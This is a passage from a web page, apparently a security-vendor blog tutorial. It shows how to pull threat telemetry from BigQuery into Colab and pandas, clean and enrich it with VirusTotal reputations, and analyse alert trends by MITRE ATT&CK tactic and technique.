authentication:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`from google.colab import auth\nfrom google.cloud import bigquery\n\nauth.authenticate_user()\nproject_id = \"PROJECT_FROM_GCP\"\nclient = bigquery.Client(project=project_id)\n`})}),`\n`,(0,t.jsx)(e.p,{children:\"With authentication complete, we can then proceed to access and manipulate our data. Google Colab's integration with Google Cloud services simplifies this process, making it efficient and secure.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"organizing-colab-notebooks-before-analysis\",children:\"Organizing Colab Notebooks before analysis\"}),`\n`,(0,t.jsx)(e.p,{children:\"When working with Jupyter Notebooks, it's better to organize your notebook beforehand. Various stages of handling and manipulating data will be required, and staying organized will help you create a repeatable, comprehensive process.\"}),`\n`,(0,t.jsx)(e.p,{children:\"In our notebooks, we use Jupyter Notebook headers to organize the code systematically. This structure allows for clear compartmentalization and the creation of collapsible sections, which is especially beneficial when dealing with complex data operations that require multiple steps. This methodical organization aids in navigating the notebook efficiently, ensuring that each step in the data extraction and analysis process is easily accessible and manageable.\"}),`\n`,(0,t.jsxs)(e.p,{children:[`Moreover, while the workflow in a notebook might seem linear, it's often more dynamic. Data analysts frequently engage in multitasking, jumping between different sections as needed based on the data or results they encounter. Furthermore, new insights discovered in one step may influence another step\\u2019s process, leading to some back and forth before finishing the notebook.\n| `,(0,t.jsx)(e.img,{src:\"/assets/images/google-cloud-for-cyber-data-analytics/image3.png\",alt:\"\",width:\"652\",height:\"1300\"})]}),`\n`,(0,t.jsx)(e.h2,{id:\"extracting-our-bigquery-datasets-into-dataframes\",children:\"Extracting Our BigQuery datasets into dataframes\"}),`\n`,(0,t.jsx)(e.p,{children:\"After establishing the structure of our notebook and successfully authenticating with BigQuery, our next step is to retrieve the required datasets. This process sets the foundation for the rest of the report, as the information from these sources will form the basis of our analysis, similar to selecting the key components required for a comprehensive study.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Here's an example of how we might fetch data from BigQuery:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`import datetime\n\ncurrent_year = datetime.datetime.now().year\nreb_dataset_id = f'project.global_threat_report.{current_year}_raw_ep_behavior'\nreb_table = client.list_rows(reb_dataset_id)\nreb_df = reb_table.to_dataframe() \n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"This snippet demonstrates a typical data retrieval process. We first define the dataset we're interested in (with the Global Threat Report, \",(0,t.jsx)(e.code,{children:\"project.global_threat_report.ep_behavior_raw\"}),\" for the current year). Then, we use a BigQuery query to select the data from this dataset and load it into a Pandas DataFrame. This DataFrame will serve as the foundation for our subsequent data analysis steps.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.img,{src:\"/assets/images/google-cloud-for-cyber-data-analytics/image4.png\",alt:\"Colab Notebook snippet for data extraction from BigQuery into Pandas dataframe\",width:\"1440\",height:\"1307\"}),`\nColab Notebook snippet for data extraction from BigQuery into Pandas dataframe`]}),`\n`,(0,t.jsx)(e.p,{children:\"This process marks the completion of the extraction phase. We have successfully navigated BigQuery to select and retrieve the necessary datasets and load them in our notebooks within dataframes. The extraction phase is pivotal, as it not only involves gathering the data but also setting up the foundation for deeper analysis. It's the initial step in a larger journey of discovery, leading to the transformation phase, where we will uncover more detailed insights from the data.\"}),`\n`,(0,t.jsx)(e.p,{children:\"In summary, this part of our data journey is about more than just collecting datasets; it's about structurally preparing them for the in-depth analysis that follows. This meticulous approach to organizing and executing the extraction phase sets the stage for the transformative insights that we aim to derive in the subsequent stages of our data analysis.\"}),`\n`,(0,t.jsx)(e.h1,{id:\"pre-processing-and-transformation-the-critical-phase-of-data-analysis\",children:\"Pre-processing and transformation: The critical phase of data analysis\"}),`\n`,(0,t.jsx)(e.p,{children:\"The transition from raw data to actionable insights involves a series of crucial steps in data processing. After extracting data, our focus shifts to refining it for analysis. Cybersecurity datasets often include various forms of noise, such as false positives and anomalies, which must be addressed to ensure accurate and relevant analysis.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Key stages in data pre-processing and transformation:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Data cleaning:\"}),\" This stage involves filling NULL values, correcting data misalignments, and validating data types to ensure the dataset's integrity.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Data enrichment:\"}),\" In this step, additional context is added to the dataset. For example, incorporating third-party data, like malware reputations from sources such as VirusTotal, enhances the depth of analysis.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Normalization:\"}),\" This process standardizes the data to ensure consistency, which is particularly important for varied datasets like endpoint malware alerts.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Anomaly detection:\"}),\" Identifying and rectifying outliers or false positives is critical to maintain the accuracy of the dataset.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Feature extraction:\"}),\" The process of identifying meaningful, consistent data points that can be further extracted for analysis.\"]}),`\n`]}),`\n`,(0,t.jsx)(e.h2,{id:\"embracing-the-art-of-data-cleaning\",children:\"Embracing the art of data cleaning\"}),`\n`,(0,t.jsx)(e.p,{children:\"Data cleaning is a fundamental step in preparing datasets for comprehensive analysis, especially in cybersecurity. This process involves a series of technical checks to ensure data integrity and reliability. Here are the specific steps:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Mapping to MITRE ATT\u0026CK framework:\"}),\" Verify that all detection and response rules in the dataset are accurately mapped to the corresponding tactics and techniques in the MITRE ATT\u0026CK framework. This check includes looking for NULL values or any inconsistencies in how the data aligns with the framework.\"]}),`\n`]}),`\n`,(0,t.jsxs)(e.li,{children:[`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Data type validation:\"}),\" Confirm that the data types within the dataset are appropriate and consistent. For example, timestamps should be in a standardized datetime format. This step may involve converting string formats to datetime objects or verifying that numerical values are in the correct format.\"]}),`\n`]}),`\n`,(0,t.jsxs)(e.li,{children:[`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Completeness of critical data:\"}),\" Ensure that no vital information is missing from the dataset. This includes checking for the presence of essential elements like SHA256 hashes or executable names in endpoint behavior logs. The absence of such data can lead to incomplete or biased analysis.\"]}),`\n`]}),`\n`,(0,t.jsxs)(e.li,{children:[`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Standardization across data formats:\"}),\" Assess and implement standardization of data formats across the dataset to ensure uniformity. This might involve normalizing text formats, ensuring consistent capitalization, or standardizing date and time representations.\"]}),`\n`]}),`\n`,(0,t.jsxs)(e.li,{children:[`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Duplicate entry identification:\"}),\" Identify and remove duplicate entries by examining unique identifiers such as XDR agent IDs or cluster IDs. This process might involve using functions to detect and remove duplicates, ensuring the uniqueness of each data entry.\"]}),`\n`]}),`\n`,(0,t.jsxs)(e.li,{children:[`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Exclusion of irrelevant internal data:\"}),\" Locate and remove any internal data that might have inadvertently been included in the dataset. This step is crucial to prevent internal biases or irrelevant information from affecting the analysis.\"]}),`\n`]}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"It is important to note that data cleaning or \\u201Cscrubbing the data\\u201D is a continuous effort throughout our workflow. As we continue to peel back the layers of our data and wrangle it for various insights, it is expected that we identify additional changes.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"utilizing-pandas-for-data-cleaning\",children:\"Utilizing Pandas for data cleaning\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The \",(0,t.jsx)(e.a,{href:\"https://pandas.pydata.org/about/\",rel:\"nofollow\",children:\"Pandas\"}),\" library in Python offers several functionalities that are particularly useful for data cleaning in cybersecurity contexts. Some of these methods include:\"]}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:\"DataFrame.isnull()\"}),\" or \",(0,t.jsx)(e.code,{children:\"DataFrame.notnull()\"}),\" to identify missing values.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:\"DataFrame.drop_duplicates()\"}),\" to remove duplicate rows.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[\"Data type conversion methods like \",(0,t.jsx)(e.code,{children:\"pd.to_datetime()\"}),\" for standardizing timestamp formats.\"]}),`\n`,(0,t.jsx)(e.li,{children:\"Utilizing boolean indexing to filter out irrelevant data based on specific criteria.\"}),`\n`]}),`\n`,(0,t.jsxs)(e.p,{children:[\"A thorough understanding of the dataset is essential to determine the right cleaning methods. It may be necessary to explore the dataset preliminarily to identify specific areas requiring cleaning or transformation. Additional helpful methods and workflows can be found listed in \",(0,t.jsx)(e.a,{href:\"https://realpython.com/python-data-cleaning-numpy-pandas/\",rel:\"nofollow\",children:\"this\"}),\" Real Python blog.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"feature-extraction-and-enrichment\",children:\"Feature extraction and enrichment\"}),`\n`,(0,t.jsx)(e.p,{children:\"Feature extraction and enrichment are core steps in data analysis, particularly in the context of cybersecurity. These processes involve transforming and augmenting the dataset to enhance its usefulness for analysis.\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Create new data from existing:\"}),\" This is where we modify or use existing data to add additional columns or rows.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Add new data from 3rd-party:\"}),\" Here, we use existing data as a query reference for 3rd-party RESTful APIs which respond with additional data we can add to the datasets.\"]}),`\n`]}),`\n`,(0,t.jsx)(e.h2,{id:\"feature-extraction\",children:\"Feature extraction\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Let\\u2019s dig into a tangible example. Imagine we're presented with a bounty of publicly available YARA signatures that Elastic \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/tree/main/yara/rules\",rel:\"nofollow\",children:\"shares\"}),\" with its community. These signatures trigger some of the endpoint malware alerts in our dataset. A consistent naming convention has been observed based on the rule name that, of course, shows up in the raw data: \",(0,t.jsx)(e.code,{children:\"OperationsSystem_MalwareCategory_MalwareFamily\"}),\". These names can be deconstructed to provide more specific insights. Leveraging Pandas, we can expertly slice and dice the data. For those who prefer doing this during the dataset staging phase with BigQuery, the combination of \",(0,t.jsx)(e.a,{href:\"https://cloud.google.com/bigquery/docs/reference/standard-sql/string_functions#split\",rel:\"nofollow\",children:\"SPLIT\"}),\" and \",(0,t.jsx)(e.a,{href:\"https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators#offset_and_ordinal\",rel:\"nofollow\",children:\"OFFSET\"}),\" clauses can yield similar results:\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`df[['OperatingSystem', 'MalwareCategory', 'MalwareFamily']] = df['yara_rule_name'].str.split('_', expand=True)\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.img,{src:\"/assets/images/google-cloud-for-cyber-data-analytics/image2.png\",alt:\"Feature extraction with our YARA data\",width:\"1440\",height:\"289\"}),`\nFeature extraction with our YARA data`]}),`\n`,(0,t.jsx)(e.p,{children:\"There are additional approaches, methods, and processes to feature extraction in data analysis. We recommend consulting your stakeholder's wants/needs and exploring your data to help determine what is necessary for extraction and how.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"data-enrichment\",children:\"Data enrichment\"}),`\n`,(0,t.jsx)(e.p,{children:\"Data enrichment enhances the depth and context of cybersecurity datasets. One effective approach involves integrating external data sources to provide additional perspectives on the existing data. This can be particularly valuable in understanding and interpreting cybersecurity alerts.\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Example of data enrichment: Integrating VirusTotal reputation data\"}),`\nA common method of data enrichment in cybersecurity involves incorporating reputation scores from external threat intelligence services like `,(0,t.jsx)(e.a,{href:\"https://www.virustotal.com/gui/home/search\",rel:\"nofollow\",children:\"VirusTotal\"}),\" (VT). This process typically includes:\"]}),`\n`,(0,t.jsxs)(e.ol,{children:[`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Fetching reputation data:\"}),\" Using an API key from VT, we can query for reputational data based on unique identifiers in our dataset, such as SHA256 hashes of binaries.\"]}),`\n`]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`import requests\n\ndef get_reputation(sha256, API_KEY, URL):\n params = {'apikey': API_KEY, 'resource': sha256}\n response = requests.get(URL, params=params)\n json_response = response.json()\n \n if json_response.get(\"response_code\") == 1:\n positives = json_response.get(\"positives\", 0)\n return classify_positives(positives)\n else:\n return \"unknown\"\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"In this function, \",(0,t.jsx)(e.code,{children:\"classify_positives\"}),\" is a custom function that classifies the reputation based on the number of antivirus engines that flagged the file as malicious.\"]}),`\n`,(0,t.jsxs)(e.ol,{start:\"2\",children:[`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Adding reputation data to the dataset:\"}),\" The reputation data fetched from VirusTotal is then integrated into the existing dataset. This is done by applying the \",(0,t.jsx)(e.code,{children:\"get_reputation\"}),\" function to each relevant entry in the DataFrame.\"]}),`\n`]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`df['reputation'] = df['sha256'].apply(lambda x: get_reputation(x, API_KEY, URL))\n\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Here, a new column named \",(0,t.jsx)(e.code,{children:\"reputation\"}),\" is added to the dataframe, providing an additional layer of information about each binary based on its detection rate in VirusTotal.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"This method of data enrichment is just one of many options available for enhancing cybersecurity threat data. By utilizing robust helper functions and tapping into external data repositories, analysts can significantly enrich their datasets. This enrichment allows for a more comprehensive understanding of the data, leading to a more informed and nuanced analysis. The techniques demonstrated here are part of a broader range of advanced data manipulation methods that can further refine cybersecurity data analysis.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"normalization\",children:\"Normalization\"}),`\n`,(0,t.jsx)(e.p,{children:\"Especially when dealing with varied datasets in cybersecurity, such as endpoint alerts and cloud SIEM notifications, normalization may be required to get the most out of your data.\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Understanding normalization:\"}),\" At its core, normalization is about adjusting values measured on different scales to a common scale, ensuring that they are proportionally represented, and reducing redundancy. In the cybersecurity context, this means representing events or alerts in a manner that doesn't unintentionally amplify or reduce their significance.\"]}),`\n`,(0,t.jsx)(e.p,{children:`Consider our endpoint malware dataset. When analyzing trends, say, infections based on malware families or categories, we aim for an accurate representation. However, a single malware infection on an endpoint could generate multiple alerts depending on the Extended Detection and Response (XDR) system. If left unchecked, this could significantly skew our understanding of the threat landscape. To counteract this, we consider the Elastic agents, which are deployed as part of the XDR solution. Each endpoint has a unique agent, representing a single infection instance if malware is detected. Therefore, to normalize this dataset, we would \"flatten\" or adjust it based on unique agent IDs. This means, for our analysis, we'd consider the number of unique agent IDs affected by a specific malware family or category rather than the raw number of alerts.`}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.img,{src:\"/assets/images/google-cloud-for-cyber-data-analytics/image6.png\",alt:\"Example visualization of malware alert normalization by unique agents\",width:\"640\",height:\"480\"}),`\nExample visualization of malware alert normalization by unique agents`]}),`\n`,(0,t.jsx)(e.p,{children:\"As depicted in the image above, if we chose to not normalize the malware data in preparation for trend analysis, our key findings would depict inaccurate information. This inaccuracy could be sourced from a plethora of data inconsistencies such as generic YARA rules, programmatic operations that were flagged repeatedly on a single endpoint, and many more.\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Diversifying the approach:\"}),' On the other hand, when dealing with endpoint behavior alerts or cloud alerts (from platforms like AWS, GCP, Azure, Google Workspace, and O365), our normalization approach might differ. These datasets could have their own nuances and may not require the same \"flattening\" technique used for malware alerts.']}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Conceptualizing normalization options:\"}),\" Remember the goal of normalization is to reduce redundancy in your data. Make sure to keep your operations as atomic as possible in case you need to go back and tweak them later. This is especially true when performing both normalization and standardization. Sometimes these can be difficult to separate, and you may have to go back and forth between the two. Analysts have a wealth of options for these. From \",(0,t.jsx)(e.a,{href:\"https://www.geeksforgeeks.org/data-pre-processing-wit-sklearn-using-standard-and-minmax-scaler/\",rel:\"nofollow\",children:\"Min-Max\"}),\" scaling, where values are shifted and rescaled to range between 0 and 1, to \",(0,t.jsx)(e.a,{href:\"https://www.statology.org/z-score-python/\",rel:\"nofollow\",children:\"Z-score\"}),\" normalization (or standardization), where values are centered around zero and standard deviations from the mean. The choice of technique depends on the nature of the data and the specific requirements of the analysis.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"In essence, normalization ensures that our cybersecurity analysis is based on a level playing field, giving stakeholders an accurate view of the threat environment without undue distortions. This is a critical step before trend analysis.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"anomaly-detection-refining-the-process-of-data-analysis\",children:\"Anomaly detection: Refining the process of data analysis\"}),`\n`,(0,t.jsx)(e.p,{children:\"In the realm of cybersecurity analytics, a one-size-fits-all approach to anomaly detection does not exist. The process is highly dependent on the specific characteristics of the data at hand. The primary goal is to identify and address outliers that could potentially distort the analysis. This requires a dynamic and adaptable methodology, where understanding the nuances of the dataset is crucial.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Anomaly detection in cybersecurity involves exploring various techniques and methodologies, each suited to different types of data irregularities. The strategy is not to rigidly apply a single method but rather to use a deep understanding of the data to select the most appropriate technique for each situation. The emphasis is on flexibility and adaptability, ensuring that the approach chosen provides the clearest and most accurate insights into the data.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"statistical-methods--the-backbone-of-analysis\",children:\"Statistical methods \\u2013 The backbone of analysis:\"}),`\n`,(0,t.jsx)(e.p,{children:\"Statistical analysis is always an optional approach to anomaly detection, especially for cyber security data. By understanding the inherent distribution and central tendencies of our data, we can highlight values that deviate from the norm. A simple yet powerful method, the Z-score, gauges the distance of a data point from the mean in terms of standard deviations.\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`import numpy as np\n\n# Derive Z-scores for data points in a feature\nz_scores = np.abs((df['mitre_technique'] - df['mitre_technique'].mean()) / df['mitre_technique'].std())\n\noutliers = df[z_scores \u003e 3] # Conventionally, a Z-score above 3 signals an outlier\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Why this matters:\"}),\" This method allows us to quantitatively gauge the significance of a data point's deviation. Such outliers can heavily skew aggregate metrics like mean or even influence machine learning model training detrimentally. Remember, outliers should not always be removed; it is all about context! Sometimes you may even be looking for the outliers specifically.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Key library:\"}),\" While we utilize \",(0,t.jsx)(e.a,{href:\"https://numpy.org/\",rel:\"nofollow\",children:\"NumPy\"}),\" above, \",(0,t.jsx)(e.a,{href:\"https://scipy.org/\",rel:\"nofollow\",children:\"SciPy\"}),\" can also be employed for intricate statistical operations.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"aggregations-and-sorting--unraveling-layers\",children:\"Aggregations and sorting \\u2013 unraveling layers:\"}),`\n`,(0,t.jsx)(e.p,{children:\"Data often presents itself in layers. By starting with a high-level view and gradually diving into specifics, we can locate inconsistencies or anomalies. When we aggregate by categories such as the MITRE ATT\u0026CK tactic, and then delve deeper, we gradually uncover the finer details and potential anomalies as we go from technique to rule logic and alert context.\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`# Aggregating by tactics first\ntactic_agg = df.groupby('mitre_tactic').size().sort_values(ascending=False)\n`})}),`\n`,(0,t.jsx)(e.p,{children:\"From here, we can identify the most common tactics and choose the tactic with the highest count. We then filter our data for this tactic to identify the most common technique associated with the most common tactic. Techniques often are more specific than tactics and thus add more explanation about what we may be observing. Following the same approach we can then filter for this specific technique, aggregate by rule and review that detection rule for more context. The goal here is to find \\u201Cnoisy\\u201D rules that may be skewing our dataset and thus related alerts need to be removed. This cycle can be repeated until outliers are removed and the percentages appear more accurate.\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Why this matters:\"}),\" This layered analysis approach ensures no stone is left unturned. By navigating from the general to the specific, we systematically weed out inconsistencies.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Key library:\"}),\" Pandas remains the hero, equipped to handle data-wrangling chores with finesse.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"visualization--the-lens-of-clarity\",children:\"Visualization \\u2013 The lens of clarity:\"}),`\n`,(0,t.jsx)(e.p,{children:\"Sometimes, the human eye, when aided with the right visual representation, can intuitively detect what even the most complex algorithms might miss. A boxplot, for instance, not only shows the central tendency and spread of data but distinctly marks outliers.\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`import seaborn as sns\nimport matplotlib.pyplot as plt\n\nplt.figure(figsize=(12, 8))\nsns.boxplot(x='Malware Family', y='Malware Score', data=df)\nplt.title('Distribution of Malware Scores by Family')\nplt.show()\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.img,{src:\"/assets/images/google-cloud-for-cyber-data-analytics/image10.png\",alt:\"Example visualization of malware distribution scores by family from an example dataset\",width:\"1440\",height:\"995\"}),`\nExample visualization of malware distribution scores by family from an example dataset`]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Why this matters:\"}),\" Visualization transforms abstract data into tangible insights. It offers a perspective that's both holistic and granular, depending on the need.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Key library:\"}),\" Seaborn, built atop Matplotlib, excels at turning data into visual stories.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"machine-learning--the-advanced-guard\",children:\"Machine learning \\u2013 The advanced guard:\"}),`\n`,(0,t.jsx)(e.p,{children:\"When traditional methods are insufficient, machine learning steps in, offering a predictive lens to anomalies. While many algorithms are designed to classify known patterns, some, like autoencoders in deep learning, learn to recreate 'normal' data, marking any deviation as an anomaly.\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Why this matters:\"}),\" As data complexity grows, the boundaries of what constitutes an anomaly become blurrier. Machine learning offers adaptive solutions that evolve with the data.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Key libraries:\"}),\" \",(0,t.jsx)(e.a,{href:\"https://scikit-learn.org/stable/\",rel:\"nofollow\",children:\"Scikit-learn\"}),\" is a treasure trove for user-friendly, classical machine learning techniques, while \",(0,t.jsx)(e.a,{href:\"https://pytorch.org/\",rel:\"nofollow\",children:\"PyTorch\"}),\" brings the power of deep learning to the table.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Perfecting anomaly detection in data analysis is similar to refining a complex skill through practice and iteration. The process often involves trial and error, with each iteration enhancing the analyst's familiarity with the dataset. This progressive understanding is key to ensuring that the final analysis is both robust and insightful. In data analysis, the journey of exploration and refinement is as valuable as the final outcome itself.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Before proceeding to in-depth trend analysis, it's very important to ensure that the data is thoroughly pre-processed and transformed. Just as precision and reliability are essential in any meticulous task, they are equally critical in data analysis. The steps of cleaning, normalizing, enriching, and removing anomalies from the groundwork for deriving meaningful insights. Without these careful preparations, the analysis could range from slightly inaccurate to significantly misleading. It's only when the data is properly refined and free of distortions that it can reveal its true value, leading to reliable and actionable insights in trend analysis.\"}),`\n`,(0,t.jsx)(e.h1,{id:\"trend-analysis-unveiling-patterns-in-data\",children:\"Trend analysis: Unveiling patterns in data\"}),`\n`,(0,t.jsx)(e.p,{children:\"In the dynamic field of cybersecurity where threat actors continually evolve their tactics, techniques, and procedures (TTPs), staying ahead of emerging threats is critical. Trend analysis serves as a vital tool in this regard, offering a way to identify and understand patterns and behaviors in cyber threats over time.\"}),`\n`,(0,t.jsx)(e.p,{children:\"By utilizing the MITRE ATT\u0026CK framework, cybersecurity professionals have a structured and standardized approach to analyzing and categorizing these evolving threats. This framework aids in systematically identifying patterns in attack methodologies, enabling defenders to anticipate and respond to changes in adversary behaviors effectively.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Trend analysis, through the lens of the MITRE ATT\u0026CK framework, transforms raw cybersecurity telemetry into actionable intelligence. It allows analysts to track the evolution of attack strategies and to adapt their defense mechanisms accordingly, ensuring a proactive stance in cybersecurity management.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"beginning-with-a-broad-overview-aggregation-and-sorting\",children:\"Beginning with a broad overview: Aggregation and sorting\"}),`\n`,(0,t.jsx)(e.p,{children:\"Commencing our analysis with a bird's eye view is paramount. This panoramic perspective allows us to first pinpoint the broader tactics in play before delving into the more granular techniques and underlying detection rules.\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Top tactics:\"}),\" By aggregating our data based on MITRE ATT\u0026CK tactics, we can discern the overarching strategies adversaries lean toward. This paints a picture of their primary objectives, be it initial access, execution, or exfiltration.\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`top_tactics = df.groupby('mitre_tactic').size()\n .sort_values(ascending=False)\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Zooming into techniques:\"}),\" Once we've identified a prominent tactic, we can then funnel our attention to the techniques linked to that tactic. This reveals the specific modus operandi of adversaries.\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`chosen_tactic = 'Execution'\n\ntechniques_under_tactic = df[df['mitre_tactic'] == chosen_tactic]\ntop_techniques = techniques_under_tactic.groupby('mitre_technique').size()\n .sort_values(ascending=False)\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Detection rules and logic:\"}),\" With our spotlight on a specific technique, it's time to delve deeper, identifying the detection rules that triggered alerts. This not only showcases what was detected, but by reviewing the detection logic, we also gain an understanding of the precise behaviors and patterns that were flagged.\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`chosen_technique = 'Scripting'\n\nrules_for_technique = techniques_under_tactic[techniques_under_tactic['mitre_technique'] == chosen_technique]\n\ntop_rules = rules_for_technique\n .groupby('detection_rule').size().sort_values(ascending=False)\n`})}),`\n`,(0,t.jsx)(e.p,{children:\"This hierarchical, cascading approach is akin to peeling an onion. With each layer, we expose more intricate details, refining our perspective and sharpening our insights.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"the-power-of-time-time-series-analysis\",children:\"The power of time: Time series analysis\"}),`\n`,(0,t.jsx)(e.p,{children:\"In the realm of cybersecurity, time isn't just a metric; it's a narrative. Timestamps, often overlooked, are goldmines of insights. Time series analysis allows us to plot events over time, revealing patterns, spikes, or lulls that might be indicative of adversary campaigns, specific attack waves, or dormancy periods.\"}),`\n`,(0,t.jsx)(e.p,{children:\"For instance, plotting endpoint malware alerts over time can unveil an adversary's operational hours or spotlight a synchronized, multi-vector attack:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`import matplotlib.pyplot as plt\n\n# Extract and plot endpoint alerts over time\ndf.set_index('timestamp')['endpoint_alert'].resample('D').count().plot()\nplt.title('Endpoint Malware Alerts Over Time')\nplt.xlabel('Time')\nplt.ylabel('Alert Count')\nplt.show()\n`})}),`\n`,(0,t.jsx)(e.p,{children:`Time series analysis doesn't just highlight \"when\" but often provides insights into the \"why\" behind certain spikes or anomalies. It aids in correlating external events (like the release of a new exploit) to internal data trends.`}),`\n`,(0,t.jsx)(e.h2,{id:\"correlation-analysis\",children:\"Correlation analysis\"}),`\n`,(0,t.jsx)(e.p,{children:\"Understanding relationships between different sets of data can offer valuable insights. For instance, a spike in one type of alert could correlate with another type of activity in the system, shedding light on multi-stage attack campaigns or diversion strategies.\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`# Finding correlation between an increase in login attempts and data exfiltration activities\ncorrelation_value = df['login_attempts'].corr(df['data_exfil_activity'])\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"This analysis, with the help of pandas \",(0,t.jsx)(e.a,{href:\"https://pandas.pydata.org/docs/reference/api/pandas.DataFrame.corr.html\",rel:\"nofollow\",children:\"corr\"}),\", can help in discerning whether multiple seemingly isolated activities are part of a coordinated attack chain.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Correlation also does not have to be metric-driven either. When analyzing threats, it is easy to find value and new insights by comparing older findings to the new ones.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"machine-learning--anomaly-detection\",children:\"Machine learning \u0026 anomaly detection\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"With the vast volume of data, manual analysis becomes impractical. Machine learning can assist in identifying patterns and anomalies that might escape the human eye. Algorithms like 